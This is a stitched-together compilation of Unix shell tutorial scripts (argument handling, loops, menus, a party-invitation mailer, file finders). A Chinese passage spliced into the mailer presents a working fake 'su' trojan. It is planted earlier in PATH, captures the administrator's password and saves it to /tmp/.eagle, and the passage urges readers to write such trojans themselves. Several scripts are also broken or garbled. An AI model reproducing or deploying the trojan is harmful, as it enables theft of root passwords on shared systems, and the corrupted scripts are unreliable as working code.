#! /bin/sh
echo "Current command is $0"
echo "The first parameter is $1"
echo "The second parameter is $2"
echo "The third parameter is $3"
echo "Total of parameters if $#"
echo "Current PID is $$"
#!/bin/bash
times=0
until [ "$times" = 3 ];
do
echo "I love linux."
sleep 2
times=`expr $times + 1`
done
#!/bin/bash
# menu shell script. samli 2004.4.19
until
echo "List Directory..........1"
echo "Change Directory........2"
echo "Edit File...............3"
echo "Remove File.............4"
echo "Exit Menu...............5"
read choice
test $choice = 5
do
case $choice in
1) ls;;
2) echo "enter target directory:"
read dir
cd $dir
;;
3) echo "enter file name:"
read file
vi $file
;;
4) echo "enter file name:"
read file
rm $file
;;
5) echo "Goodbye"
;;
*) echo "illegal option, please input again."
esac
done
#! /bin/sh
var1="abcd efg"
echo $var1
var2=1234
echo "The value of var2 is $var2"
echo $HOME
echo $PATH
echo $PWD
#! /bin/sh
num=0
while [ $num -le 10 ]
do
num=`expr $num + 1`
if [ $num -eq 5 ]
then
continue
fi
square=`expr $num \* $num`
echo $square
done
#!/bin/bash
# Gnu bash versions 2.x
# The Party Program--Invitations to friends from the
# "guest" file
guestfile=./guests # ~/shell/guests
if [[ ! -e "$guestfile" ]]
then
printf "${guestfile##*/} non-existent"
exit 1
fi
shell脚本实例
shell是unix里的很强大的外壳命令解释器，它同时也是一个编译器，shell脚本语言也是强大的编程语言。
我以一个很简单的小伎俩来说明shell在入侵中的作用，呵呵。假设我们有一个系统的普通帐号（它可能是你通过猜密码，或脆弱密码得来的），利用su程序得到管理员密码，呵呵，就是通过一个简单的脚本实现。
我们知道，在unix系统中，命令的路径信息一般保存在环境变量PATH中。如果/usr/local/bin目录和/bin目录中各有一个su命令，在PATH变量中，第一个目录在前面，第二个目录在后面，此时执行不带路径的su命令（一般的管理员都会su而不会/bin/su，如果真有这么细心的管理员，那你就用别的方法了），将启动同名的非系统su命令，而不是系统管理员需要的系统su命令，那第一个su就是我写的脚本，也可以说是一个“特洛伊”。
好，切入正题！我写一个脚本，名称是su，我把它放到/usr/local/bin目录中，以下是脚本内容。
#! /bin/sh
stty-echo
echo -n "Password:"
read PASSWD
stty echo
echo
echo "Sorry"
echo "$1/$2:$PASSWD">>/tmp/.eagle
呵呵，懂了？其实有很多网友都问我有没有unix下的木马啊后门程序什么的，呵呵，我是说不出来，看，上面不就是吗？unix的木马就要靠你对系统和shell的熟悉，自己创造，对自己水平的挑战，怎么样？比当个冰河难吧？但你真能学到东西。
export PLACE="Sarotini's"
(( Time=$(date +%H) + 1 ))
set cheese crackers shrimp drinks "hot dogs" sandwiches
for person in $(cat $guestfile)
do
if [[ $person = root ]]
then
continue
else
# Start of here document
mail -v -s "Party" $person
Hi ${person}! Please join me at $PLACE for a party!
Meet me at $Time o'clock.
I'll bring the ice cream. Would you please bring $1
and anything else you would like to eat? Let me know
if you can't make it.
Hope to see you soon.
Your pal,
ellie@$(hostname)
FINIS
shift
if (( $# == 0 ))
then
set cheese crackers shrimp drinks "hot dogs" sandwiches
fi
fi
done
printf "Bye..."
#!/bin/sh
# Standard AT&T Bourne Shell
# The Party Program--Invitations to friends from the
# "guest" file
guestfile=./guests # /home/ellie/shell/guests
if [ ! -f "$guestfile" ]
then
echo "慴asename $guestfile?non-existent"
exit 1
fi
PLACE="Sarotini's"
export PLACE
Time=`date +%H`
Time=`expr $Time + 1`
set cheese crackers shrimp drinks "hot dogs" sandwiches
for person in $(cat $guestfile)
do
if [ $person = root ]]
then
continue
else
# Start of here document
mail -v -s "Party" $person
Hi $person! Please join me at $PLACE for a party!
Meet me at $Time o'clock.
I'll bring the ice cream. Would you please bring $1
and anything else you would like to eat? Let me know
if you can't make it.
Hope to see you soon.
Your pal,
ellie@`hostname`
FINIS
shift
if [ $# -eq 0 ]
then
set cheese crackers shrimp drinks "hot dogs" sandwiches
fi
fi
done
echo "Bye..."
#!/bin/sh
# Scriptname: args
# Script to test command line arguments
echo The name of this script is $0.
echo The arguments are $*.
echo The first argument is $1.
echo The second argument is $2.
echo The number of arguments is $#.
oldargs=$*
set Jake Nicky Scott # reset the positional parameters
echo All the positional parameters are $*.
echo The number of postional parameters is $#.
echo "Good~Vbye for now, $1 "
set $(date) # reset the positional parameters
echo The date is $2 $3, $6.
echo "The value of \$oldargs is $oldargs."
set $oldargs
echo $1 $2 $3
# Name: bigfiles
# Purpose: Use the find command to find any files in the root
# partition that have not been modified within the past n (any
# number within 30 days) days and are larger than 20 blocks
# (512 byte blocks)
if (( $# != 2 )) # or [ $# -ne 2 ]
then
echo "Usage: $0 mdays size " 1>&2
exit 1
fi
if (( $1 0 || $1 > 30 )) # or [ $1 -lt 0 -o $1 -gt 30 ]
then
echo "mdays is out of range"
exit 2
fi
if (( $2 # or [ $2 -le 20 ]
then
echo "size is out of range"
exit 3
fi
find / -xdev -mtime $1 -size +$2
#!/bin/bash
# Scriptname: checker
# Script to demonstrate the use of special variable
# modifiers and arguments
name=${1:?"requires an argument" }
echo Hello $name
#!/bin/bash
# This is the first Bash shell program of the day.
# Scriptname: greetings
# Written by: Barbara Bashful
echo "Hello $LOGNAME, it's nice talking to you."
echo "Your present working directory is `pwd`."
echo "You are working on a machine called `uname -n`."
echo "Here is a list of your files."
ls # list files in the present working directory
echo "Bye for now $LOGNAME. The time is `date +%T`!"
#!/bin/bash
# Scriptname: greetings2
echo "This script is called $0."
echo "$0 $1 and $2"
echo "The number of positional parameters is $#"
#!/bin/bash
# Scriptname: idcheck
# purpose:check user id to see if user is root.
# Only root has a uid of 0.
# Format for id output:uid=9496(ellie) gid=40 groups=40
# root's uid=0
id=`id | gawk -F'[=(]' '{print $2}'` # get user id
echo your user id is: $id
if (( id == 0 )) # or [ $id -eq 0 ]
then
echo "you are superuser."
else
echo "you are not superuser."
fi
